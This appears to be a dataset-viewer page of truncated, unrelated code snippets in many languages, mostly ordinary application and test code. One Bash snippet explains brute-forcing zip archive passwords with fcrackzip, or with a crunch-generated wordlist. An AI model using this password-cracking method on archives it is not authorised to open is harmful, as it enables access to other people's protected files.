text stringlengths 27 775k |
|---|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may ... |
package com.farmerworking.db.rabbitDb.impl.writebatch;
public interface WriteBatchIterateHandler {
void put(String key, String value);
void delete(String key);
void setSequence(long sequence);
}
|
mysql -uroot -p$MYSQL_ROOT_PASSWORD << EOF
source $WORK_PATH/init_database_table.sql
source $WORK_PATH/init_user.sql |
--insert/update/delete bind
create class xoo ( a int, b int);;
$int, $10, $int, $1
insert into xoo values(?, ?);
$int, $100, $int, $1;
update xoo set a = a + ? where b = ?;
select * from xoo;
$int, $100, $varchar, $1;
update xoo set a = a + ? where b = ?;
select * from xoo;
$int, $1, $varchar, $1;
update xoo set... |
// Copyright (c) The Thanos Authors.
// Licensed under the Apache License 2.0.
package e2e_test
import (
"context"
"log"
"net/http"
"net/http/httputil"
"testing"
"time"
"github.com/efficientgo/e2e"
"github.com/prometheus/common/model"
"github.com/thanos-io/thanos/pkg/promclient"
"github.com/thanos-io/thano... |
import csv
from datetime import datetime
from decimal import Decimal
import os
from subprocess import check_output, run
import sys
from aqbanking import settings
from aqbanking.utils import cache_dir_required
def list_accounts():
stdout = check_output(['aqhbci-tool4', 'listaccounts'])
account_list = []
... |
// Copyright (c) 2015 OPEN CASCADE SAS
//
// This file is part of Open CASCADE Technology software library.
//
// This library is free software; you can redistribute it and/or modify it under
// the terms of the GNU Lesser General Public License version 2.1 as published
// by the Free Software Foundation, with special ... |
import 'package:flutter/material.dart';
ThemeData defaultTheme() => ThemeData(
primarySwatch: Colors.blue,
primaryColor: Color(0xFF4fe3c1),
textTheme: TextTheme(
headline1: TextStyle(
color: Color(0xFF4fe3c1),
fontWeight: FontWeight.bold,
fontSize: 20.0,
... |
using System;
using System.Collections.Generic;
using StatusMonitor.Shared.Extensions;
using StatusMonitor.Shared.Models.Entities;
using StatusMonitor.Shared.Models;
using System.Linq;
using Microsoft.EntityFrameworkCore;
using System.Threading.Tasks;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Confi... |
package br.com.programadorthi.bloc
interface EventDispatcher<Event> {
fun dispatch(event: Event)
}
|
๏ปฟnamespace Xamarin.iOS.Tasks
{
public class DetectBundleIdentifier : DetectBundleIdentifierTaskBase
{
}
}
|
import 'package:flutter/material.dart';
import 'package:idomuss/components/textFieldOutline.dart';
import 'package:idomuss/helpers/ColorsSys.dart';
import 'package:idomuss/helpers/constantes.dart';
class ConfirmarPedidoTile extends StatelessWidget {
String titulo, conteudo;
ConfirmarPedidoTile(this.titulo, this.co... |
# k8s-base
Base image kubernetes
# installation
```
$ \
bin/
```
# Terraform/Terragrunt
|
package fpis.chap2to3
import scala.annotation.tailrec
/** Exercises for Chapter 3 of FPinS. */
sealed trait List[+A]
case object Nil extends List[Nothing]
case class Cons[+A](head: A, tail: List[A]) extends List[A]
object List {
def sum(ints: List[Int]): Int = ints match {
case Nil => 0
case Cons... |
/**
* @file multiple_pole_cart.hpp
* @author Rahul Ganesh Prabhu
*
* This file is an implementation of Multiple Pole Cart Balancing Task.
*
* mlpack is free software; you may redistribute it and/or modify it under the
* terms of the 3-clause BSD license. You should have received a copy of the
* 3-clause BSD li... |
module AuthLh
module UserManagement
def self.included(base)
base.extend(ClassMethods)
end
def auth_user
if @auth_user.nil?
@auth_user = self.class.find_external(login)
end
@auth_user
end
def auth_user=(val)
@auth_user = val
end
def allowed_local_sh... |
๏ปฟnamespace MarketingBox.Registration.Service.Domain.Models.Route
{
public class RouteParameters
{
public string TenantId { get; set; }
public string BrandName { get; set; }
public long IntegrationId { get; set; }
public long BrandId { get; set; }
public long CampaignId { ... |
<?php
/**
* Freeform for Craft
*
* @package Solspace:Freeform
* @author Solspace, Inc.
* @copyright Copyright (c) 2008-2017, Solspace, Inc.
* @link https://solspace.com/craft/freeform
* @license https://solspace.com/software/license-agreement
*/
return array(
"salesforce_cli... |
package com.likethesalad.android.aaper.defaults.statusproviders
import android.content.pm.PackageManager
import androidx.core.content.ContextCompat
import androidx.fragment.app.Fragment
import com.likethesalad.android.aaper.api.base.PermissionStatusProvider
/**
* This class queries a permission granted status using ... |
import React from "react";
function Header() {
return <h1 style={{ marginTop: "0" }}>Product Store</h1>;
}
export default Header;
|
# ReactiveCocoa4MVVMPerson
This is reactiveCocoa 4 MVVM example that I have done.
An exploration of implementing an application using ReactiveCocoa 4.0 (Swift) and the MVVM pattern.
This project is available under the MIT License (MIT).
|
use strict;
use warnings;
use Test::More;
use t::Util;
BEGIN {
our $fh = t::Util::set_env();
}
use App::Cmd::Tester;
use Test::Mock::Guard qw(mock_guard);
use lib 't/lib';
use Test::Mock::Set::Instance;
use Yogafire;
my $input_value;
# mock
my $guard = mock_guard(
'VM::EC2' => {
'describe_instances... |
using DCL;
using DCL.Controllers;
using DCL.WorldRuntime;
using NSubstitute;
using NUnit.Framework;
namespace Tests
{
public class ResourcesLoadTrackerLegacyECSShould
{
private IECSComponentsManagerLegacy componentsManager;
private ResourcesLoadTrackerLegacyECS trackerLegacyEcs;
[SetUp... |
๏ปฟusing System.Threading.Tasks;
using Microsoft.Extensions.Configuration;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using CSharpVesync.Models.Responses;
namespace CSharpVesync.VesyncApiIntegrationTests
{
public class TestBase
{
protected static VesyncApiConfiguration Configuration;
pro... |
require 'pry'
require 'pry-stack_explorer'
require 'ap'
require 'simplecov'
SimpleCov.start
require 'rspec/given'
require 'rspec/its'
require 'wishETL'
module WishETL
module Tube
module Base
alias :load_orig :load
def load
load_orig if @output || @opts[:force_load]
end
end
end... |
package it.gatling
import io.gatling.core.Predef._
import io.gatling.http.Predef._
import net.kolotyluk.scala.extras.Configuration
/** =Basic Gatling Simulation=
* Ping the leaderboard service
* <p>
* usage: `mvn gatling:test`
* {{{
* =========================================================================... |
use bevy::prelude::*;
use crate::{
console::{
event::{EnteredConsoleCommandEvent, PrintConsoleEvent},
ConsoleData,
},
games::{ConsoleGamesData, GameList},
};
use super::game::{self, TicTacToeData};
pub fn commands_handler(
mut cmd_reader: EventReader<EnteredConsoleCommandEvent>,
m... |
!! ACTION ROUTINES FOR CALLING DISSOCIATIVE FLUX ROUTINES
subroutine fluxcall(numdata, forwardovl, timestep, eground, fftrans) !! returns estep and fftrans
implicit none
complex*16 :: forwardovl(1:numdata)
integer :: i, numdata
real*8 :: piover2, timestep, eground
complex*16 :: fftrans(numdata)
real*8,... |
---
title: "Experiences"
date: 2017-12-06T17:47:36+08:00
---
|
//File A.java
import kotlin.Metadata;
import kotlin.jvm.internal.Intrinsics;
import org.jetbrains.annotations.NotNull;
public final class A {
public final void test(@NotNull String OK) {
}
}
//File Main.kt
// IGNORE_BACKEND_FIR: JVM_IR
// SKIP_JDK6
// TARGET_BACKEND: JVM
// WITH_RUNTIME
// FULL_JDK
// KOTLI... |
package io.github.vigoo.zioaws.http4s
import java.util.concurrent.CompletableFuture
import cats.effect.{ExitCase, Resource}
import fs2._
import fs2.interop.reactivestreams._
import org.http4s.Method.{NoBody, PermitsBody}
import org.http4s._
import org.http4s.client._
import org.http4s.client.blaze._
import software.a... |
<?php namespace App\Imports\Sales;
use App\Models\GrayFrt;
use Maatwebsite\Excel\Concerns\ToModel;
class GrayFrtImport implements ToModel
{
/**
* @param array $row
*
* @return \App\Models\GrayFrt|\Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Model[]|null
*/
public funct... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Subject extends Model
{
//
protected $guarded = [];
public function students()
{
return $this->belongsToMany('App\Student', 'student_subject', 'subject_id','student_id')
->withPivot(["rating"]);
}
protected... |
package com.gkapps.weatherapp.data.db.entity
import com.google.gson.annotations.SerializedName
data class Location(
val country: String,
val lat: String,
val localtime: String,
@SerializedName("localtime_epoch")
val localtimeEpoch: Int,
val lon: String,
val name: String,
val region: S... |
package fr.tse.jacademie.kotlinDemo.model
import javax.persistence.Embeddable
@Embeddable
class Note(var option: String, var note: Double)
|
import * as React from 'react';
import './searchItem.css';
interface IProps {
Items?: []
}
interface IState {
message?: string,
}
export default class SearchItem extends React.Component<IProps, IState> {
public render() {
return (
<div style={{ textAlign: 'center', alignItems: 'center', alignCo... |
class Fastly
# An individual host you want to serve assets off
class Backend < BelongsToServiceAndVersion
attr_accessor :service_id, :name, :address, :ipv4, :ipv6, :hostname, :use_ssl, :client_cert, :port,
:connect_timeout, :first_byte_timeout, :between_bytes_timeout, :error_threshold, :max_co... |
; GL - A Symbolic Simulation Framework for ACL2
; Copyright (C) 2008-2013 Centaur Technology
;
; Contact:
; Centaur Technology Formal Verification Group
; 7600-C N. Capital of Texas Highway, Suite 300, Austin, TX 78731, USA.
; http://www.centtech.com/
;
; License: (An MIT/X11-style license)
;
; Permission is he... |
import React from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import { bindActionCreators } from 'redux';
import * as actions from '../actions/weatherActions';
const LocationRowItem = ({location, actions}) => {
return (
<div className="row-item">
<div cl... |
# frozen_string_literal: true
module MasterfilesApp
PartyRoleSchema = Dry::Validation.Params do
configure { config.type_specs = true }
optional(:id, :integer).filled(:int?)
required(:party_id, :integer).filled(:int?)
required(:role_id, :integer).filled(:int?)
required(:organization_id, :integer)... |
import {
Component,
ContentChild,
HostBinding,
Input,
OnInit,
TemplateRef
} from '@angular/core';
import { Subject } from 'rxjs';
@Component({
selector: 'app-panel',
templateUrl: './panel.component.html',
styleUrls: ['./panel.component.scss']
})
export class PanelComponent implements OnInit {
public isBodyVi... |
module LabelHelper
include FormatHelper
def label_bui(content=nil, options={})
return if content.blank?
tag = options.delete(:tag).try(:to_sym).presence || :span
prepend_class(options, 'label', get_label_type(options.delete(:type)))
content_tag tag, content, options
end
private
def get_la... |
use arae::{Bounded, CurVec, CursedExt, Sequence};
#[test]
#[should_panic]
fn test_new_empty() {
CurVec::<u8>::new_with_default(0);
}
#[test]
#[should_panic]
fn test_from_empty_vec() {
let _: CurVec<u8> = vec![].into();
}
#[test]
fn test_new_with_default() {
let vec = CurVec::<u8>::new_with_default(1);
... |
package com.github.martinfrank.data.service;
import com.github.martinfrank.data.entity.Combat;
import org.springframework.data.jpa.repository.JpaRepository;
public interface CombatRepository extends JpaRepository<Combat, Integer> {
Combat findByName(String name);
} |
from PIL import Image
import os
path = 'pic/train/xuehua/' #ๅพ็็ฎๅฝ
for file in os.listdir(path):
extension = file.split('.')[-1]
if extension == 'jpg':
fileLoc = path+file
img = Image.open(fileLoc)
if img.mode != 'RGB':
print(file+', '+img.mode) |
#encoding: utf-8
# Add content in bottom of <table class="list custom_fields">
Deface::Override.new virtual_path: "custom_fields/_index",
name: "add_section_to_project_custom_fields_index",
original: "d4bb4ca57795222ac993716d943619a4d633b510",
... |
#!/bin/sh
###############################################################################
# NAME
# connconf.sh - Create a local ssh.conf and an "all" file for the
# group_vars folder in an ansible directory structure.
#
# SYNOPSIS
#
# connconf.sh [-hvV] [-s | -g] <-k /path/to/SSH-KEY> <-u USER... |
# Opening & Closing Ceremonies
Major League Hacking's mission is to empower hackers. This guide helps us support organizers in their pursuit to throw incredible hackathons and empower hackers to build great hacks.
|
import { RunService } from "@rbxts/services";
import Client from "./Client";
import { LogEvent } from "@rbxts/log";
import { ILogEventSink } from "@rbxts/log/out/Core";
import Server from "./Server";
export namespace Logging {
class LogEventConsoleSink implements ILogEventSink {
Emit(message: LogEvent): void {
i... |
๏ปฟusing System.Collections;
using System.Collections.Generic;
using Hermit.DebugHelp;
using UnityEngine;
using UnityEngine.UI;
//Make a UI system instead....
public class DisplayHealth : MonoBehaviour, IComponent {
public Text text;
public Text text2;
public void OnDisable() {
//Do Stuff
}
... |
use crate::{packed, prelude::*};
macro_rules! impl_serialized_size_for_entity {
($entity:ident, $func:ident, $reader_func_link:expr) => {
impl packed::$entity {
/// Calls
#[doc = $reader_func_link]
pub fn $func(&self) -> usize {
self.as_reader().$func()
... |
import express from "express";
import cors from "cors";
import { SharedRoutesConfig } from "./shared";
import { InstitutionsRoutesConfig } from "./institutions";
const app = express();
const routes: SharedRoutesConfig[] = [];
app.use(express.json());
app.use(cors());
routes.push(new InstitutionsRoutesConfig(app));
... |
#!/bin/bash
set -e
function startup {
# If SECRET is not set, generate random string to be used for posts requests.
: ${SECRET=`< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-64};echo;`}
echo "Secret to send posts with: $SECRET"
# Replaces REPO_URL for the one passed as an environment variable.
sed -i 's... |
var struct__bvmutfstringstruct =
[
[ "data", "struct__bvmutfstringstruct.html#ae95ff632ce8b18deba89666d038a2437", null ],
[ "length", "struct__bvmutfstringstruct.html#a93629394a01fa13adb302bd7b1282a1d", null ],
[ "next", "struct__bvmutfstringstruct.html#ae2b9def8e921d35380e23ef25b2e2685", null ]
]; |
import styled from "styled-components";
const Main = styled.main`
display: flex;
justify-content:center;
align-items: center;
background-color: var(--quintiary);
width: 100vw;
min-height: 100vh;
padding-bottom:30px;
`
export default Main |
#Sat Mar 10 00:28:31 GMT 2018
lib/com.ibm.ws.resource_1.0.20.jar=9cb20de88e483378a80a12f8a33050cd
dev/api/spec/com.ibm.websphere.javaee.concurrent.1.0_1.0.20.jar=bbb5967f3ac92517b5529bddd559c5ec
lib/com.ibm.ws.concurrent.persistent_1.0.20.jar=bda2ed5213f00d7ea499a6b7fe642157
lib/com.ibm.ws.javaee.platform.defaultresour... |
package devdan.libs.base.extensions
import androidx.annotation.IdRes
import androidx.navigation.NavController
fun NavController.navigateSafe(@IdRes resId: Int) {
val action = currentDestination?.getAction(resId) ?: graph.getAction(resId)
if (action != null && currentDestination?.id != action.destinationId) {
... |
package repository.hbase.unitlinks
import org.scalatest.{ FreeSpec, Matchers }
import uk.gov.ons.sbr.models.unitlinks.{ UnitId, UnitType }
class UnitLinksRowKeySpec extends FreeSpec with Matchers {
private trait Fixture {
val Id = "109085670091"
val Type = "LEU"
val RowKey = s"$Type~$Id"
}
"A Unit... |
require 'spec_helper'
describe Ad do
context "with one ad created" do
let(:ad){ FactoryGirl.create(:ad) }
describe ".show_ads?" do
context "with recently created user signed in" do
it "should show the ad" do
current_user = double("User", :created_at => 1.day.ago)
expec... |
๏ปฟnamespace AvalonStudio.Debugging
{
using MVVM;
using System.Threading.Tasks;
public abstract class MemoryBytesViewModel : ViewModel
{
public abstract Task InvalidateAsync(IDebugger2 debugger);
}
} |
import * as React from 'react';
import { StyleSheet, Text, View } from 'react-native';
import * as PropTypes from 'prop-types';
import Icon from '../ui/Icon';
import Touchable from '../ui/Touchable';
import { _ } from '../../modules/i18n/Translator';
import { CourseItemModel } from '../../scenes/user/intranet/CourseScr... |
#!/bin/bash
EMBEDDING_DIR=../embeddings/fasttext
while IFS=' ' read -r col1 col2
do
if [ -f $EMBEDDING_DIR/cc.$col2.300.bin.gz ] || [ -f $EMBEDDING_DIR/cc.$col2.300.bin ]; then
echo "Skipping $col2"
else
echo "Downloading $col2..."
wget https://dl.fbaipublicfiles.com/fasttext/vectors-crawl/cc.$col2.300... |
package com.nibmz7gmail.sgprayertimemusollah.core.util
import timber.log.Timber
object StringUtils {
fun String.toStringList(): List<String>? {
return split(",")
}
fun List<String>.toJsonString(): String {
val sb = StringBuilder("")
var idx = 0
do {
sb.appen... |
---
pageTitle: ะะฐััะตั-ะบะปะฐัั ะฟะพ ัะพะฒะผะตััะฝะพะผั ะฟัะพะตะบัะธัะพะฒะฐะฝะธั ะฒะตัััะฐะบะฐ
pageDescription: ะะตะฑะพะปััะพะน ะผะฐััะตั-ะบะปะฐัั ะฟะพ ัะฐะฑะพัะต ะฒ ะกะะะ Fusion 360
startDate: 29.10.2019 19:30
endDate: 29.10.2019 21:00
---
ะะปะตะณ @netbug ะฟัะพะฒะตะป ั ะฝะฐั ะฝะตะฑะพะปััะพะน ะผะฐััะตั-ะบะปะฐัั ะฟะพ ัะฐะฑะพัะต ะฒ ะกะะะ Fusion 360.
ะกะฟัะพะตะบัะธัะพะฒะฐะปะธ ะธ ะฝะฐัะธัะพะฒะฐะปะธ ะฒ 3D ะฑะพะปัััั ัะฐััั ... |
#!/bin/bash
TAG='eksctl:latest'
docker build -t $TAG . --build-arg DOCKER_MIRROR=${DOCKER_MIRROR-''}
CONTAINER=$(docker run -d $TAG false)
docker cp ${CONTAINER}:/layer.zip layer.zip
docker cp ${CONTAINER}:/VERSION VERSION
|
module WoodShop
class ImageSubProductSerializer < Flexserializer::Base
default_attributes do
define_attributes :id, :primary, :alt
end
group(:product) {
define_attributes :order, :big, :small, :cart
}
def big
object.image&.big&.url or ''
end
def cart
object.imag... |
require 'net/http'
@rains = [
'Heavy Rain',
'Light Rain',
'Showers'
]
namespace :metaweather_api do
desc 'indicates if it rains tomorrow'
task :tomorrow_rain, :city do |_t, arguments|
abort("Pass a city in argument like 'rake metaweather_api:tomorrow_rain[paris]'") if arguments.city.nil?
location =... |
<?php
namespace App\Http\Controllers;
use App\Repositories\UserRepository;
use Luezoid\Laravelcore\Http\Controllers\ApiController;
class UserController extends ApiController
{
protected $repository = UserRepository::class;
}
|
๏ปฟusing System;
using System.Collections.Generic;
using System.Linq;
using Cofoundry.Web;
using Cofoundry.Samples.SPASite.Domain;
using System.Threading.Tasks;
using Cofoundry.Domain;
using Microsoft.AspNetCore.Mvc;
namespace Cofoundry.Samples.SPASite
{
[AuthorizeUserArea(MemberUserArea.MemberUserAreaCode)]
[Ro... |
"""
Example usage:
python -m speedclue --port 8899 --count 20 ai-1.jar ai-2.jar ./ai-3.py
This will start the server on port 8899 with 3 AI players. Then it runs 20 times
and output the final result.
"""
import os
from subprocess import Popen
from collections import OrderedDict
import argparse
from .gameserver i... |
#include <stdlib.h> // itoa() function
#include <avr/io.h>
#include <avr/interrupt.h>
#include "timer.h"
#include "uart.h"
#include "twi.h"
#include "nokia5110.h"
#include "gpio.h"
/* Define ------------------------------------------------------------*/
#define UART_BAUD_RATE 9600
/* Variables ---------------... |
import { IDataBase } from '@Shared/database/IDataBase';
import { ICategoryRepo } from '../categoryRepo';
import { Category } from '@Shared/types';
import { CategoryCreateInput } from '../../types/category.types';
export class CategoryRepo implements ICategoryRepo {
private client: IDataBase;
constructor(database:... |
#! /usr/bin/lua
--
-- lua-Harness : <https://fperrad.frama.io/lua-Harness/>
--
-- Copyright (C) 2009-2018, Perrad Francois
--
-- This code is licensed under the terms of the MIT/X11 license,
-- like Lua itself.
--
--[[
=head1 Lua tables
=head2 Synopsis
% prove 221-table.t
=head2 Description
See section "Table... |
{-# LANGUAGE DeriveGeneric #-}
{-# LANGUAGE NamedFieldPuns #-}
{-# LANGUAGE TypeApplications #-}
{-# LANGUAGE TypeOperators #-}
module Data.Morpheus.Schema.SchemaAPI
( hiddenRootFields
, defaultTypes
, schemaAPI
) where
import Data.Proxy
import Data.Text ... |
# Windows Restart
Command-line utility which chooses the best time to restart a Windows computer.
|
#!/usr/bin/expect
set timeout 2
set username xxx
set password xxx
proc login { host username password } {
spawn telnet $host
expect {
"Username:" {
send "$username\r"
expect "Password:"
send "$password\r";
expect eof
}
"Unable to connect t... |
module DropboxApi::Metadata
# This is an example of a serialized {MemberPermission}:
#
# ```json
# {
# "action": {
# ".tag": "remove"
# },
# "allow": false,
# "reason": {
# ".tag": "target_is_self"
# }
# }
# ```
#
# This is normally contained in a {MemberPermissionList} ... |
#!/usr/bin/env bash
queue_name='testq'
for qinsert in 2 3 4 10 89
do
queue_add --object "${queue_name}" --data "${qinsert}"
done
answer=$( queue_size --object "${queue_name}" )
assert_equals 5 "${answer}"
queue_delete --object "${queue_name}" --data 1
answer=$( queue_size --object "${queue_name}" )
assert_equals 5... |
#!/bin/bash
# author: liufapeng
# date: 2020-4-12
# time: 23:05
#
# Mac os ไธ็ ด่งฃzipๅ็ผฉๆไปถ็ๅฏ็ ๆไธค็งๆนๆก
# ็ฌฌไธ็ง: ้็จfcrackzip ๏ผๅฏ็จbrew install fcrackzip ๅฎ่ฃ
็ ด่งฃ๏ผๅ
ทไฝไฝฟ็จๅฏไปฅๅ่งman fcrackzip
# ็ฌฌไบ็ง: ๅฏไปฅ็จcrunch ็ๆๅฏ็ ๅญๅ
ธ๏ผ็ถๅๅฉ็จไธ้ข็่ๆฌ่ฟ่ก็ ด่งฃ
# 1. crunch 4 4 abcdefghijklmnopqrstuvwxyz0123456789 -o pwd2.txt #ๅฏไปฅๅฉ็จbrew install crunch,็ๆไธๅไฝๆฐ็ๅญๅ
ธใ
# ... |
unit ParamTest.Thread.Write;
interface
uses
System.Classes;
type
TWrite = class(TThread)
protected
procedure Execute; override;
procedure WriteOutput;
end;
implementation
{ TWriteFile }
uses
System.SysUtils,
Vcl.Forms,
ParamTest.Utils;
procedure TWrite.Execute;
begin
while not Terminated ... |
# Przeglฤ
darka bez tajemnic
## Cel zadania*
Spraw, aby tekst lustrzany pojawiaล siฤ... w lustrze ;)
Dostฤp do pola tekstowego uzyskasz poprzez klasฤ `.text-input`.
Dostฤp do lustra uzyskasz poprzez klasฤ `.mirror`.
|
package org.simple.clinic.storage
import androidx.room.migration.Migration
import androidx.sqlite.db.SupportSQLiteDatabase
@Suppress("ClassName")
class Migration_31_32 : Migration(31, 32) {
override fun migrate(database: SupportSQLiteDatabase) {
database.execSQL("""
ALTER TABLE "Appointment"
ADD CO... |
# Version Tracking Using Xamarin.Essentials
First, add Xamarin Essentials via NuGet.
## Platform-Specific (Android) Setup
In MainActivity.cs file...
```
public override void OnRequestPermissionsResult(...)
{
Xamarin.Essentials.Platform.OnRequestPermissionsResult(requestCode, permissions, grantResults);
base.O... |
module SeparatingAxisTheorem2D
using LinearAlgebra
using StaticArrays
using CoordinateTransformations
using RecipesBase
import StaticArrays: SUnitRange
export Shape2D, AxisAlignedBoundingBox, AABB, LineSegment, Polygon, Triangle, Circle, CompoundShape
export intersecting, inflate, sweep, sweep_intersecting
# Utiliti... |
import React from 'react';
import CuButton from './components/Button/';
import CuCard from './components/Card/';
import CuColumn from './components/Column/';
import CuInput from './components/Input/';
import CuLoading from './components/Loading/';
import CuNavBar from './components/NavBar/';
import {
CuTable, CuTbo... |
use std::error::Error;
use std::path::{Path, Component};
use iron::prelude::*;
use iron::middleware::Handler;
use iron::{StatusCode, Url, typemap};
use sequence_trie::SequenceTrie;
use std::fmt;
/// Exposes the original, unmodified path to be stored in `Request::extensions`.
#[derive(Copy, Clone)]
pub struct OriginalU... |
# Big File Downloader
Big File Downloader can download a lot of files and big files (4GB)
## Requirements
- 64 bit operating sytem
- And enough RAM to download the file, The amount of RAM depends on the size of the file.
## Screenshots

type TracingHook struct {
StartTime time.Time
BeforeNum int64 `json:"before_num"`
AfterNum int64 `json:"after_num"`
SqlMap model.SyncMap `json:"sql_map"`
}
var DBTracingHook = &TracingHook{StartTime: t... |
'use strict'
const chalk = require('chalk')
const theme = require('../view/theme')
const { description } = require('../../package.json')
const green = chalk.hex(theme.green)
module.exports = chalk.gray(`${chalk.gray(description)}
Usage
$ ${green('urlint')} <url> [<flags>]
Flags
-c, --concurrence N... |
import {
Box,
Dialog,
DialogContent,
DialogTitle,
IconButton,
Typography,
} from '@material-ui/core';
import { Close as CloseIcon } from '@material-ui/icons';
import React from 'react';
import imagePlaceholder from '../../assets/image-placeholder.png';
/**
* @component
* A modal panel, which shows mood im... |
package barracksWars.core.commands;
import barracksWars.interfaces.Executable;
import barracksWars.interfaces.Inject;
import barracksWars.interfaces.Repository;
import jdk.jshell.spi.ExecutionControl;
public class Retire implements Executable {
@Inject
private String[] data;
@Inject
private... |
<?php
// read/write IPTC and EXIF data
// http://php.net/manual/en/function.iptcembed.php#113877
namespace lib\image;
class Processor extends \lib\core\NamedSingleton
{
public $width = 0;
public $height = 0;
private $image;
public static function getImageSize($filename) {
$si... |
#ifndef HIP_MOTOR_HPP
#define HIP_MOTOR_HPP
// Description: Class for handling the special case of the hip HipYawPitch motors of the Nao robot
// The LHipYawPitch and RHipYawPitch are in fact a single motor in the real Nao, but
// they are represented as two distinct Motors (motors) in the We... |
package com.example.android.navigation.viewModel
import android.content.SharedPreferences
import android.util.Log
import android.widget.ScrollView
import androidx.annotation.InspectableProperty
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.Transformations
import... |
# frozen_string_literal: true
#
# == Home article
#
puts 'Creating Home article'
home = Home.new(
title: set_title,
content: set_content(paragraph: 1),
online: true,
user_id: @administrator.id
)
home.save(validate: false)
if @locales.include?(:en)
Home::Translation.create!(
post_id: home.id,
locale:... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: demo.proto
package demo
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
)
import "net/rpc"
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This... |
<?php
/*
* Fire register event
*/
add_action( 'user_register', 'wtbp_wptao_event_register_fire' );
if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) .... |
"""
simplicial_subdivision(k, E)
Generate generic rules for generating vertices when splitting an E-dimensional
simplex with a size reducing factor of k.
Note: Subsimplices containing any of the original vertices is not considered.
This function comes in two versions. Both versions returns information about
all ... |
import * as React from 'react'
import { createStyles, injectSheet, WithSheet } from '~/Theme'
import { Image } from '~/stores/Images'
const styles = createStyles(theme => ({
fullImage: {
paddingTop: '1rem',
},
'@media print': {
fullImage: {
paddingTop: 0,
},
},
}))
... |
set -e
echo "Deploying iOS Pods v$POD_VERSION"
# Publish CapacitorCordova first
pod trunk push CapacitorCordova.podspec --allow-warnings
# Needed to ensure we can "see" the updated version of CapacitorCordova
pod repo update
# Finally, publish Capacitor
pod trunk push Capacitor.podspec --allow-warnings
# Again, ne... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.